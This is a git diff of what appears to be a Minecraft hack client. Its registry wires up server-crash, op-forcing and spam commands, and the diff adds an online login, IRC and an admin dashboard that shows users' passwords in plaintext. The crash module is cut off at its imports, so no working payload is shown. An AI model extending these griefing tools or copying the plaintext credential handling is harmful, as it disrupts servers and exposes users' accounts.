diff --git a/build.gradle b/build.gradle index 643bf3a..6811fde 100644 --- a/build.gradle +++ b/build.gradle @@ -32,7 +32,8 @@ loom { } dependencies { - //to change the versions see the gradle.properties file + + //to change the versions see the gradle.properties file minecraft "com.mojang:minecraft:${project.minecraft_version}" mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2" modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" @@ -50,12 +51,13 @@ dependencies { // modImplementation ("net.fabricmc.fabric-api:fabric-resource-loader:0.1.0") - compileOnly 'org.projectlombok:lombok:1.18.22' - annotationProcessor 'org.projectlombok:lombok:1.18.22' + compileOnly 'org.projectlombok:lombok:1.18.24' + annotationProcessor 'org.projectlombok:lombok:1.18.24' impl("meteordevelopment:discord-ipc:1.1") impl(name: "xauthlib-1.0.0") + impl 'org.java-websocket:Java-WebSocket:1.5.3' configurations.impl.dependencies.each { implementation(it) diff --git a/src/main/java/net/shadow/client/feature/command/CommandRegistry.java b/src/main/java/net/shadow/client/feature/command/CommandRegistry.java index 3ecb6ca..e28bc7a 100644 --- a/src/main/java/net/shadow/client/feature/command/CommandRegistry.java +++ b/src/main/java/net/shadow/client/feature/command/CommandRegistry.java @@ -43,6 +43,7 @@ import net.shadow.client.feature.command.impl.Kill; import net.shadow.client.feature.command.impl.LinkWolf; import net.shadow.client.feature.command.impl.LogFlood; import net.shadow.client.feature.command.impl.MessageSpam; +import net.shadow.client.feature.command.impl.OnlineAPI; import net.shadow.client.feature.command.impl.Panic; import net.shadow.client.feature.command.impl.PermissionLevel; import net.shadow.client.feature.command.impl.Poof; @@ -69,10 +70,8 @@ public class CommandRegistry { private static final List vanillaCommands = new ArrayList<>(); private static final List customCommands = new ArrayList<>(); private static final List sharedCommands = new ArrayList<>(); - private static final List consoleCommands = new ArrayList<>(); static { - // TODO: 18.12.21 add commands // init(); rebuildSharedCommands(); } @@ -100,16 +99,6 @@ public class CommandRegistry { } } - public static void buildConsoleCommands(){ - consoleCommands.addAll(sharedCommands); - - //consoleCommands.add(); - } - - public static List getConsoleCommands() { - return consoleCommands; - } - public static void init() { vanillaCommands.clear(); vanillaCommands.add(new Toggle()); @@ -165,26 +154,15 @@ public class CommandRegistry { vanillaCommands.add(new ForceOP()); vanillaCommands.add(new ServerCrash()); vanillaCommands.add(new RandomBook()); + vanillaCommands.add(new OnlineAPI()); rebuildSharedCommands(); - buildConsoleCommands(); } public static List getCommands() { return sharedCommands; } - public static Command getCommand(String fullCommand) { - String[] spl = fullCommand.split(" +"); - String cmd = spl[0].toLowerCase(); - return CommandRegistry.getByAlias(cmd); - } - - public static String[] getArgs(String command) { - String[] spl = command.split(" +"); - return Arrays.copyOfRange(spl, 1, spl.length); - } - public static void execute(String command) { String[] spl = command.split(" +"); String cmd = spl[0].toLowerCase(); @@ -205,27 +183,6 @@ public class CommandRegistry { } } - - public static void executeConsole(String command) { - String[] spl = command.split(" +"); - String cmd = spl[0].toLowerCase(); - String[] args = Arrays.copyOfRange(spl, 1, spl.length); - Command c = CommandRegistry.getConsoleByAlias(cmd); - if (c == null) { - Utils.Logging.error("Command \"" + cmd + "\" not found"); - } else { - try { - c.onExecute(args); - } catch (CommandException cex) { - Utils.Logging.error(cex.getMessage()); - if (cex.getPotentialFix() != null) Utils.Logging.error("Potential fix: " + cex.getPotentialFix()); - } catch (Exception e) { - Utils.Logging.error("Error while running command " + command); - e.printStackTrace(); - } - } - } - public static Command getByAlias(String n) { for (Command command : getCommands()) { for (String alias : command.getAliases()) { @@ -237,17 +194,6 @@ public class CommandRegistry { return null; } - public static Command getConsoleByAlias(String n) { - for (Command command : getConsoleCommands()) { - for (String alias : command.getAliases()) { - if (alias.equalsIgnoreCase(n)) { - return command; - } - } - } - return null; - } - record CustomCommandEntry(Addon addon, Command command) { } } diff --git a/src/main/java/net/shadow/client/feature/command/impl/Gensploit.java b/src/main/java/net/shadow/client/feature/command/impl/Gensploit.java index 61cf81c..abfd971 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/Gensploit.java +++ b/src/main/java/net/shadow/client/feature/command/impl/Gensploit.java @@ -4,14 +4,6 @@ package net.shadow.client.feature.command.impl; -import net.minecraft.world.GameMode; -import net.shadow.client.ShadowMain; -import net.shadow.client.feature.command.Command; -import net.shadow.client.feature.command.coloring.ArgumentType; -import net.shadow.client.feature.command.coloring.PossibleArgument; -import net.shadow.client.feature.command.coloring.StaticArgumentServer; -import net.shadow.client.feature.command.exception.CommandException; -import net.shadow.client.feature.gui.notifications.Notification; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.nbt.NbtCompound; @@ -19,8 +11,10 @@ import net.minecraft.nbt.StringNbtReader; import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; import net.minecraft.util.Identifier; import net.minecraft.util.registry.Registry; - -import java.util.Arrays; +import net.shadow.client.feature.command.Command; +import net.shadow.client.feature.command.coloring.PossibleArgument; +import net.shadow.client.feature.command.exception.CommandException; +import net.shadow.client.feature.gui.notifications.Notification; public class Gensploit extends Command { diff --git a/src/main/java/net/shadow/client/feature/command/impl/OnlineAPI.java b/src/main/java/net/shadow/client/feature/command/impl/OnlineAPI.java new file mode 100644 index 0000000..240eeac --- /dev/null +++ b/src/main/java/net/shadow/client/feature/command/impl/OnlineAPI.java @@ -0,0 +1,93 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.command.impl; + +import net.shadow.client.ShadowMain; +import net.shadow.client.feature.command.Command; +import net.shadow.client.feature.command.coloring.ArgumentType; +import net.shadow.client.feature.command.coloring.PossibleArgument; +import net.shadow.client.feature.command.coloring.StaticArgumentServer; +import net.shadow.client.feature.command.exception.CommandException; +import net.shadow.client.feature.module.ModuleRegistry; +import net.shadow.client.feature.module.impl.misc.IRC; +import net.shadow.client.helper.ShadowAPIWrapper; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.Events; +import org.apache.commons.io.FileUtils; + +import java.io.File; +import java.nio.charset.StandardCharsets; + +public class OnlineAPI extends Command { + static final File SESSION_KEY_FILE = new File(ShadowMain.BASE, "session.sip"); + + public OnlineAPI() { + super("OnlineAPI", "Manage your API connection to the mothership", "onlineapi", "shadowapi", "onlineservices"); + tryToRecoverSession(); + Events.registerEventHandler(EventType.CONFIG_SAVE, event -> { + String authKey = ShadowAPIWrapper.getAuthKey(); + if (authKey != null) { + try { + FileUtils.write(SESSION_KEY_FILE, authKey, StandardCharsets.UTF_8); + } catch (Exception e) { + System.out.println("failed to save session :("); + e.printStackTrace(); + } + } + }); + } + + void tryToRecoverSession() { + if (SESSION_KEY_FILE.exists()) { + try { + String session = FileUtils.readFileToString(SESSION_KEY_FILE, StandardCharsets.UTF_8); + if (!session.isEmpty()) { + if (ShadowAPIWrapper.loginWithKey(session)) { + System.out.println("recovered previous session from backup file"); + } else { + System.out.println("server said no to session recovery, moving on"); + } + } + } catch (Exception e) { + System.out.println("failed to recover session :("); + e.printStackTrace(); + } + } + } + + @Override + public PossibleArgument getSuggestionsWithType(int index, String[] args) { + if (index == 0) return new PossibleArgument(ArgumentType.STRING, "login", "logout"); + if (args[0].equalsIgnoreCase("login")) { + return StaticArgumentServer.serveFromStatic(index - 1, new PossibleArgument(ArgumentType.STRING, "(username)"), new PossibleArgument(ArgumentType.STRING, "(password)")); + } + return super.getSuggestionsWithType(index, args); + } + + @Override + public void onExecute(String[] args) throws CommandException { + validateArgumentsLength(args, 1, "Need an action"); + switch (args[0].toLowerCase()) { + case "login" -> { + if (ShadowAPIWrapper.getAuthKey() != null) { + error("You're already logged in!"); + return; + } + validateArgumentsLength(args, 3, "Need action, username and password"); + if (ShadowAPIWrapper.attemptLogin(args[1], args[2])) { + success("You're now logged in as " + args[1] + ". Try using IRC or the item market ;)"); + } else { + error("Failed to login. Check if username and password are correct"); + } + } + case "logout" -> { + IRC irc = ModuleRegistry.getByClass(IRC.class); + if (irc.isEnabled()) irc.setEnabled(false); + ShadowAPIWrapper.logout(); + success("Logged you out"); + } + } + } +} diff --git a/src/main/java/net/shadow/client/feature/command/impl/Test.java b/src/main/java/net/shadow/client/feature/command/impl/Test.java index 3d0d21a..93e0b05 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/Test.java +++ b/src/main/java/net/shadow/client/feature/command/impl/Test.java @@ -4,14 +4,11 @@ package net.shadow.client.feature.command.impl; +import net.shadow.client.ShadowMain; import net.shadow.client.feature.command.Command; -import net.shadow.client.feature.module.AddonModule; -import net.shadow.client.feature.module.Module; -import net.shadow.client.feature.module.ModuleRegistry; - -import java.io.File; -import java.nio.file.Files; -import java.nio.file.StandardOpenOption; +import net.shadow.client.feature.gui.screen.OnlineServicesDashboardScreen; +import net.shadow.client.helper.ShadowAPIWrapper; +import net.shadow.client.helper.util.Utils; public class Test extends Command { public Test() { @@ -20,16 +17,13 @@ public class Test extends Command { @Override public void onExecute(String[] args) { - StringBuilder sb = new StringBuilder(); - for (Module module : ModuleRegistry.getModules()) { - if (module instanceof AddonModule) continue; - String cname = module.getClass().getSimpleName(); - sb.append(String.format("registerModule(%s.class);", cname)).append("\n"); - } - try { - Files.writeString(new File("bruh.txt").toPath(), sb.toString(), StandardOpenOption.CREATE); - } catch (Exception e) { - e.printStackTrace(); + if (ShadowAPIWrapper.getAuthKey() != null && ShadowAPIWrapper.isCurrentUserAdmin()) { + System.out.println(ShadowAPIWrapper.getAccounts()); + Utils.TickManager.runInNTicks(5, () -> { + ShadowMain.client.setScreen(new OnlineServicesDashboardScreen()); + }); + } else { + error("not logged in or not admin"); } } } diff --git a/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java b/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java index de26493..e3ee961 100644 --- a/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java +++ b/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java @@ -14,8 +14,10 @@ import net.shadow.client.ShadowMain; import net.shadow.client.feature.gui.FastTickable; import net.shadow.client.feature.gui.clickgui.element.Element; import net.shadow.client.feature.gui.clickgui.element.impl.CategoryDisplay; +import net.shadow.client.feature.gui.clickgui.element.impl.ModuleDisplay; import net.shadow.client.feature.module.ModuleRegistry; import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.ConfigContainer; import net.shadow.client.helper.event.EventType; import net.shadow.client.helper.event.Events; import net.shadow.client.helper.font.FontRenderers; @@ -26,17 +28,21 @@ import net.shadow.client.helper.util.Transitions; import org.lwjgl.glfw.GLFW; import java.awt.Color; +import java.io.File; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Comparator; +import java.util.HashMap; import java.util.List; +import java.util.Map; import java.util.Objects; public class ClickGUI extends Screen implements FastTickable { // public static final Theme theme = new SipoverV1(); static final Color tooltipColor = new Color(20, 20, 30, 255); + static ConfigContainer configContainer = new ConfigContainer(new File(ShadowMain.BASE, "clickGui.sip"), "amongUs"); private static ClickGUI instance; final List elements = new ArrayList<>(); final ParticleRenderer real = new ParticleRenderer(100); @@ -57,6 +63,10 @@ public class ClickGUI extends Screen implements FastTickable { } this.real.render(Renderer.R3D.getEmptyMatrixStack()); }); + Events.registerEventHandler(EventType.CONFIG_SAVE, event -> { + saveConfig(); + }); + loadConfig(); } public static ClickGUI instance() { @@ -70,6 +80,61 @@ public class ClickGUI extends Screen implements FastTickable { if (instance != null) instance.initElements(); } + void loadConfig() { + configContainer.reload(); + ClickguiConfigContainer cc = configContainer.get(ClickguiConfigContainer.class); + if (cc == null || cc.entries == null) return; + Map displays = new HashMap<>(); + for (Element element : elements) { + if (element instanceof CategoryDisplay dd) { + displays.put(dd.getMt().getName(), dd); + } + } + for (ClickguiConfigContainer.CategoryEntry entry : cc.entries) { + String n = entry.name; + if (displays.containsKey(n)) { + CategoryDisplay disp = displays.get(n); + disp.setX(entry.posX); + disp.setY(entry.posY); + disp.setOpen(entry.expanded); + List mdList = disp.getMd(); + for (ClickguiConfigContainer.ModuleEntry moduleEntry : entry.entries) { + ModuleDisplay mde = mdList.stream().filter(moduleDisplay -> moduleDisplay.getModule().getName().equals(moduleEntry.name)).findFirst().orElse(null); + if (mde == null) continue; + mde.setExtended(moduleEntry.expanded); + } + } + } + } + + void saveConfig() { + ClickguiConfigContainer cc = new ClickguiConfigContainer(); + List e = new ArrayList<>(); + for (Element element : elements) { + if (element instanceof CategoryDisplay ce) { + List mods = ce.getMd(); + ModuleType type = ce.getMt(); + ClickguiConfigContainer.CategoryEntry cm = new ClickguiConfigContainer.CategoryEntry(); + cm.expanded = ce.isOpen(); + cm.posX = ce.getX(); + cm.posY = ce.getY(); + cm.name = type.getName(); + List me = new ArrayList<>(); + for (ModuleDisplay mod : mods) { + ClickguiConfigContainer.ModuleEntry moduleEntry = new ClickguiConfigContainer.ModuleEntry(); + moduleEntry.expanded = mod.isExtended(); + moduleEntry.name = mod.getModule().getName(); + me.add(moduleEntry); + } + cm.entries = me.toArray(ClickguiConfigContainer.ModuleEntry[]::new); + e.add(cm); + } + } + cc.entries = e.toArray(ClickguiConfigContainer.CategoryEntry[]::new); + configContainer.set(cc); + configContainer.save(); + } + @Override protected void init() { @@ -265,4 +330,20 @@ public class ClickGUI extends Screen implements FastTickable { searchTerm += chr; return false; } + + static class ClickguiConfigContainer { + CategoryEntry[] entries; + + static class CategoryEntry { + String name; + double posX, posY; + boolean expanded; + ModuleEntry[] entries; + } + + static class ModuleEntry { + String name; + boolean expanded; + } + } } diff --git a/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/CategoryDisplay.java b/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/CategoryDisplay.java index af470c4..7892b28 100644 --- a/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/CategoryDisplay.java +++ b/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/CategoryDisplay.java @@ -5,6 +5,8 @@ package net.shadow.client.feature.gui.clickgui.element.impl; import com.mojang.blaze3d.systems.RenderSystem; +import lombok.Getter; +import lombok.Setter; import net.minecraft.client.util.math.MatrixStack; import net.minecraft.util.math.MathHelper; import net.minecraft.util.math.Quaternion; @@ -32,10 +34,14 @@ import static java.lang.Math.sqrt; public class CategoryDisplay extends Element { static final FontAdapter cfr = FontRenderers.getCustomSize(20); + @Getter final List md = new ArrayList<>(); + @Getter final ModuleType mt; final Scroller scroller = new Scroller(0); boolean selected = false; + @Getter + @Setter boolean open = true; double openAnim = 1; diff --git a/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/ModuleDisplay.java b/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/ModuleDisplay.java index 35968bb..5bd8c64 100644 --- a/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/ModuleDisplay.java +++ b/src/main/java/net/shadow/client/feature/gui/clickgui/element/impl/ModuleDisplay.java @@ -4,6 +4,8 @@ package net.shadow.client.feature.gui.clickgui.element.impl; +import lombok.Getter; +import lombok.Setter; import net.minecraft.client.util.math.MatrixStack; import net.minecraft.util.math.MathHelper; import net.shadow.client.feature.gui.clickgui.ClickGUI; @@ -18,8 +20,11 @@ import net.shadow.client.helper.render.Renderer; import net.shadow.client.helper.util.Utils; public class ModuleDisplay extends Element { + @Getter final Module module; final ConfigDisplay cd; + @Getter + @Setter boolean extended = false; double extendAnim = 0; long hoverStart = System.currentTimeMillis(); diff --git a/src/main/java/net/shadow/client/feature/gui/screen/ConsoleScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/ConsoleScreen.java index a120faf..f9fda5d 100644 --- a/src/main/java/net/shadow/client/feature/gui/screen/ConsoleScreen.java +++ b/src/main/java/net/shadow/client/feature/gui/screen/ConsoleScreen.java @@ -72,7 +72,7 @@ public class ConsoleScreen extends ClientScreen implements FastTickable { return; } addLog(new LogEntry("> " + cmd, BACKGROUND)); - CommandRegistry.executeConsole(cmd); + CommandRegistry.execute(cmd); } @Override @@ -127,14 +127,14 @@ public class ConsoleScreen extends ClientScreen implements FastTickable { args = args1; } if (args.length > 0) { - Command c = CommandRegistry.getConsoleByAlias(cmd); + Command c = CommandRegistry.getByAlias(cmd); if (c != null) { a = List.of(c.getSuggestionsWithType(args.length - 1, args).getSuggestions()); } else { return new ArrayList<>(); // we have no command to ask -> we have no suggestions } } else { - for (Command command1 : CommandRegistry.getConsoleCommands()) { + for (Command command1 : CommandRegistry.getCommands()) { for (String alias : command1.getAliases()) { if (alias.toLowerCase().startsWith(cmd.toLowerCase())) { a.add(alias); diff --git a/src/main/java/net/shadow/client/feature/gui/screen/OnlineServicesDashboardScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/OnlineServicesDashboardScreen.java new file mode 100644 index 0000000..ecefc23 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/gui/screen/OnlineServicesDashboardScreen.java @@ -0,0 +1,357 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.gui.screen; + +import com.google.gson.Gson; +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import net.minecraft.client.gui.Drawable; +import net.minecraft.client.gui.Element; +import net.minecraft.client.gui.Selectable; +import net.minecraft.client.gui.screen.narration.NarrationMessageBuilder; +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.gui.FastTickable; +import net.shadow.client.feature.gui.widget.RoundButton; +import net.shadow.client.helper.IRCWebSocket; +import net.shadow.client.helper.ShadowAPIWrapper; +import net.shadow.client.helper.font.FontRenderers; +import net.shadow.client.helper.font.adapter.impl.BruhAdapter; +import net.shadow.client.helper.render.ClipStack; +import net.shadow.client.helper.render.Rectangle; +import net.shadow.client.helper.render.Renderer; +import net.shadow.client.helper.render.Scroller; +import net.shadow.client.helper.ws.SimpleWebsocket; + +import java.awt.Color; +import java.net.URI; +import java.text.SimpleDateFormat; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.concurrent.CopyOnWriteArrayList; + +public class OnlineServicesDashboardScreen extends ClientScreen implements FastTickable { + static List logs = new CopyOnWriteArrayList<>(); + long reconnectTime = System.currentTimeMillis(); + SimpleWebsocket logsSocket; + AccountList dvw; + + void initSocket() { + if (ShadowAPIWrapper.getAuthKey() != null) { + logs.clear(); + logsSocket = new SimpleWebsocket(URI.create(ShadowAPIWrapper.BASE_WS + "/admin/logs"), Map.of("Authorization", ShadowAPIWrapper.getAuthKey()), () -> { + reconnectTime = System.currentTimeMillis() + Duration.ofSeconds(3).toMillis(); + logs.clear(); + }, this::socketMessageRecieved); + logsSocket.connect(); + } + } + + void socketMessageRecieved(String msg) { + IRCWebSocket.Packet pack = new Gson().fromJson(msg, IRCWebSocket.Packet.class); + if (pack.id.equals("log")) { + SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss dd/MM/yyyy"); + logs.add(0, new LogsFieldWidget.LogEntry(Map.of("Time", sdf.format(pack.data.get("time")), "Severity", pack.data.get("severity").toString()), pack.data.get("message").toString())); + } + } + + void populateAccountList() { + dvw.aww.clear(); + double yO = 0; + for (ShadowAPIWrapper.AccountEntry account : ShadowAPIWrapper.getAccounts()) { + AccountViewerWidget avw = new AccountViewerWidget(account.username, account.password, 0, yO, 300, 30, () -> { + if (ShadowAPIWrapper.deleteAccount(account.username, account.password)) this.populateAccountList(); + }); + yO += avw.height + 5; + dvw.add(avw); + } + } + + @Override + protected void init() { + addDrawableChild(new LogsFieldWidget(5, 5, width - 10, height / 2d - 5, OnlineServicesDashboardScreen.logs)); + dvw = new AccountList(5, height / 2d + 5, 300, height / 2d - 10); + populateAccountList(); + addDrawableChild(dvw); + } + + @Override + public void onFastTick() { + if (reconnectTime != -1 && reconnectTime < System.currentTimeMillis()) { + initSocket(); + reconnectTime = -1; + } + } + + @Override + public void renderInternal(MatrixStack stack, int mouseX, int mouseY, float delta) { + renderBackground(stack); + super.renderInternal(stack, mouseX, mouseY, delta); + } + + @Override + public boolean mouseScrolled(double mouseX, double mouseY, double amount) { + for (Element child : this.children()) { + if (child.mouseScrolled(mouseX, mouseY, amount)) return true; + } + return super.mouseScrolled(mouseX, mouseY, amount); + } + + @RequiredArgsConstructor + static + class AccountViewerWidget implements Element, Drawable, Selectable, FastTickable { + final String username, password; + final double x, y, width, height; + final Runnable onDelete; + RoundButton deleteBtn = null; + + @Override + public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) { + if (deleteBtn == null) + deleteBtn = new RoundButton(RoundButton.STANDARD, x + width - (height - 20) / 2d - 60, y + (height - 20) / 2d, 60, 20, "Delete", onDelete); + Renderer.R2D.renderRoundedQuad(matrices, new Color(10, 10, 20), x, y, x + width, y + height, 5, 20); + double h = FontRenderers.getRenderer().getFontHeight(); + double pad = height - h; + + FontRenderers.getRenderer().drawString(matrices, username + ":" + password, x + pad / 2d, y + height / 2d - h / 2d, 0xFFFFFF); + deleteBtn.render(matrices, mouseX, mouseY, delta); + } + + @Override + public SelectionType getType() { + return null; + } + + @Override + public void appendNarrations(NarrationMessageBuilder builder) { + + } + + @Override + public void onFastTick() { + deleteBtn.onFastTick(); + } + + @Override + public boolean mouseClicked(double mouseX, double mouseY, int button) { + return deleteBtn.mouseClicked(mouseX, mouseY, button); + } + } + + @RequiredArgsConstructor + class LogsFieldWidget implements Element, Drawable, Selectable, FastTickable { + final double x, y, w, h; + final List logs; + Scroller scroller = new Scroller(0); + + double heightPerLine() { + return FontRenderers.getRenderer().getFontHeight() + 8; + } + + double contentHeight() { + return heightPerLine() + logs.size() * heightPerLine(); + } + + @Override + public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) { + double yOffset = heightPerLine(); + Renderer.R2D.renderRoundedQuad(matrices, new Color(10, 10, 20), x, y, x + w, y + h, 5, 20); + if (logs.isEmpty()) { + BruhAdapter ba = FontRenderers.getCustomSize(40); + ba.drawCenteredString(matrices, "No logs yet", x + w / 2d, y + h / 2d - ba.getFontHeight() / 2d, 1f, 1f, 1f, 0.3f); + return; + } + List bruhs = new ArrayList<>(); + for (LogEntry log : logs) { + log.additionalProps.forEach((s, s2) -> { + if (bruhs.stream().noneMatch(bruh -> bruh.content.equals(s))) { + bruhs.add(new Bruh(s, Math.max(FontRenderers.getRenderer().getStringWidth(s2), FontRenderers.getRenderer().getStringWidth(s)))); + } else { + Bruh b = bruhs.stream().filter(bruh -> bruh.content.equals(s)).findFirst().orElseThrow(); + double w = Math.max(b.width, Math.max(FontRenderers.getRenderer().getStringWidth(s2), FontRenderers.getRenderer().getStringWidth(s))); + bruhs.remove(b); + bruhs.add(new Bruh(s, w)); + } + }); + } + double xOffset = 4; + for (Bruh bruh : bruhs) { + FontRenderers.getRenderer().drawString(matrices, bruh.content, x + xOffset, y + heightPerLine() / 2d - FontRenderers.getRenderer().getFontHeight() / 2d, 0xBBBBBB); + xOffset += bruh.width + 7; + } + Renderer.R2D.renderQuad(matrices, Color.WHITE, x, y + yOffset, x + w, y + yOffset + 1); + ClipStack.globalInstance.addWindow(matrices, new Rectangle(x, y + yOffset, x + w, y + h)); + matrices.push(); + matrices.translate(0, scroller.getScroll(), 0); + for (LogEntry log : logs) { + double finalYOffset = yOffset; + log.additionalProps.forEach((s, s2) -> { + int index = bruhs.indexOf(new Bruh(s, 0)); + double xOffsetToConsider = 4; + for (int i = 0; i < index; i++) { + xOffsetToConsider += bruhs.get(i).width + 7; + } + FontRenderers.getRenderer().drawString(matrices, s2, x + xOffsetToConsider, y + finalYOffset + heightPerLine() / 2d - FontRenderers.getRenderer().getFontHeight() / 2d, 0xFFFFFF); + }); + double xO = bruhs.stream().map(bruh -> bruh.width + 7).reduce(Double::sum).orElse(0d) + 4; + FontRenderers.getRenderer().drawString(matrices, log.msg, x + xO, y + yOffset + heightPerLine() / 2d - FontRenderers.getRenderer().getFontHeight() / 2d, 0xFFFFFF); + yOffset += heightPerLine(); + } + matrices.pop(); + ClipStack.globalInstance.popWindow(); + } + + @Override + public SelectionType getType() { + return SelectionType.NONE; + } + + @Override + public void appendNarrations(NarrationMessageBuilder builder) { + + } + + @Override + public void onFastTick() { + scroller.tick(); + } + + @Override + public boolean mouseScrolled(double mouseX, double mouseY, double amount) { + if (mouseX >= x && mouseX <= x + w && mouseY >= y && mouseY <= y + h) { + double contentHeight = contentHeight(); + double elScroll = contentHeight - h; + scroller.setBounds(0, elScroll); + scroller.scroll(amount); + } + return Element.super.mouseScrolled(mouseX, mouseY, amount); + } + + public record LogEntry(Map additionalProps, String msg) { + + } + + record Bruh(String content, double width) { + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + Bruh bruh = (Bruh) o; + return Objects.equals(content, bruh.content); + } + + @Override + public int hashCode() { + return Objects.hash(content, width); + } + } + } + + @RequiredArgsConstructor + class AccountList implements Element, Drawable, Selectable, FastTickable { + final double x, y, w, h; + @Getter + List aww = new ArrayList<>(); + Scroller s = new Scroller(0); + + public void add(AccountViewerWidget v) { + aww.add(v); + } + + @Override + public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) { + matrices.push(); + ClipStack.globalInstance.addWindow(matrices, new Rectangle(x, y, x + w, y + h)); + matrices.translate(x, y + s.getScroll(), 0); + for (Drawable drawable : aww) { + drawable.render(matrices, (int) (mouseX - x), (int) (mouseY - y - s.getScroll()), delta); + } + ClipStack.globalInstance.popWindow(); + matrices.pop(); + } + + @Override + public SelectionType getType() { + return SelectionType.NONE; + } + + @Override + public void appendNarrations(NarrationMessageBuilder builder) { + + } + + @Override + public void onFastTick() { + s.tick(); + for (Element element : aww) { + if (element instanceof FastTickable ft) ft.onFastTick(); + } + } + + @Override + public boolean mouseClicked(double mouseX, double mouseY, int button) { + for (Element element : aww) { + if (element.mouseClicked(mouseX - x, mouseY - y - s.getScroll(), button)) return true; + } + return Element.super.mouseClicked(mouseX, mouseY, button); + } + + @Override + public boolean mouseReleased(double mouseX, double mouseY, int button) { + for (Element element : aww) { + if (element.mouseReleased(mouseX - x, mouseY - y - s.getScroll(), button)) return true; + } + return Element.super.mouseReleased(mouseX, mouseY, button); + } + + @Override + public boolean mouseDragged(double mouseX, double mouseY, int button, double deltaX, double deltaY) { + for (Element element : aww) { + if (element.mouseDragged(mouseX - x, mouseY - y, button, deltaX, deltaY)) return true; + } + return Element.super.mouseDragged(mouseX, mouseY, button, deltaX, deltaY); + } + + @Override + public boolean mouseScrolled(double mouseX, double mouseY, double amount) { + double he = 0; + for (AccountViewerWidget accountViewerWidget : aww) { + he = Math.max(he, accountViewerWidget.y + accountViewerWidget.height); + } + if (mouseX >= x && mouseX <= x + w && mouseY >= y && mouseY <= y + h) { + double elScroll = he - h; + s.setBounds(0, elScroll); + s.scroll(amount); + } + return Element.super.mouseScrolled(mouseX, mouseY, amount); + } + + @Override + public boolean keyPressed(int keyCode, int scanCode, int modifiers) { + for (Element element : aww) { + if (element.keyPressed(keyCode, scanCode, modifiers)) return true; + } + return Element.super.keyPressed(keyCode, scanCode, modifiers); + } + + @Override + public boolean keyReleased(int keyCode, int scanCode, int modifiers) { + for (Element element : aww) { + if (element.keyReleased(keyCode, scanCode, modifiers)) return true; + } + return Element.super.keyReleased(keyCode, scanCode, modifiers); + } + + @Override + public boolean charTyped(char chr, int modifiers) { + for (Element element : aww) { + if (element.charTyped(chr, modifiers)) return true; + } + return Element.super.charTyped(chr, modifiers); + } + } +} diff --git a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java index 224e812..8e177cb 100644 --- a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java +++ b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java @@ -57,6 +57,7 @@ import net.shadow.client.feature.module.impl.misc.AntiOffhandCrash; import net.shadow.client.feature.module.impl.misc.AntiPacketKick; import net.shadow.client.feature.module.impl.misc.ClientSettings; import net.shadow.client.feature.module.impl.misc.DiscordRPC; +import net.shadow.client.feature.module.impl.misc.IRC; import net.shadow.client.feature.module.impl.misc.InfChatLength; import net.shadow.client.feature.module.impl.misc.ItemPuke; import net.shadow.client.feature.module.impl.misc.MoreChatHistory; @@ -345,6 +346,8 @@ public class ModuleRegistry { registerModule(ItemPuke.class); registerModule(EntityCrash.class); + registerModule(IRC.class); + rebuildSharedModuleList(); } @@ -361,7 +364,7 @@ public class ModuleRegistry { ShadowMain.log(Level.INFO, "Locking for some time for reload to complete"); long lockStart = System.currentTimeMillis(); long lockStartns = System.nanoTime(); - while (reloadInProgress.get()) { + while (reloadInProgress.get()) { Thread.onSpinWait(); } ShadowMain.log(Level.INFO, "Lock opened within " + (System.currentTimeMillis() - lockStart) + " ms (" + (System.nanoTime() - lockStartns) + " ns)"); diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java b/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java index 04086e6..a8686bd 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java @@ -5,10 +5,20 @@ package net.shadow.client.feature.module.impl.crash; import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.item.BlockItem; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.StringNbtReader; +import net.minecraft.network.Packet; +import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; import net.minecraft.util.Hand; +import net.minecraft.util.hit.BlockHitResult; import net.minecraft.util.math.BlockPos; import 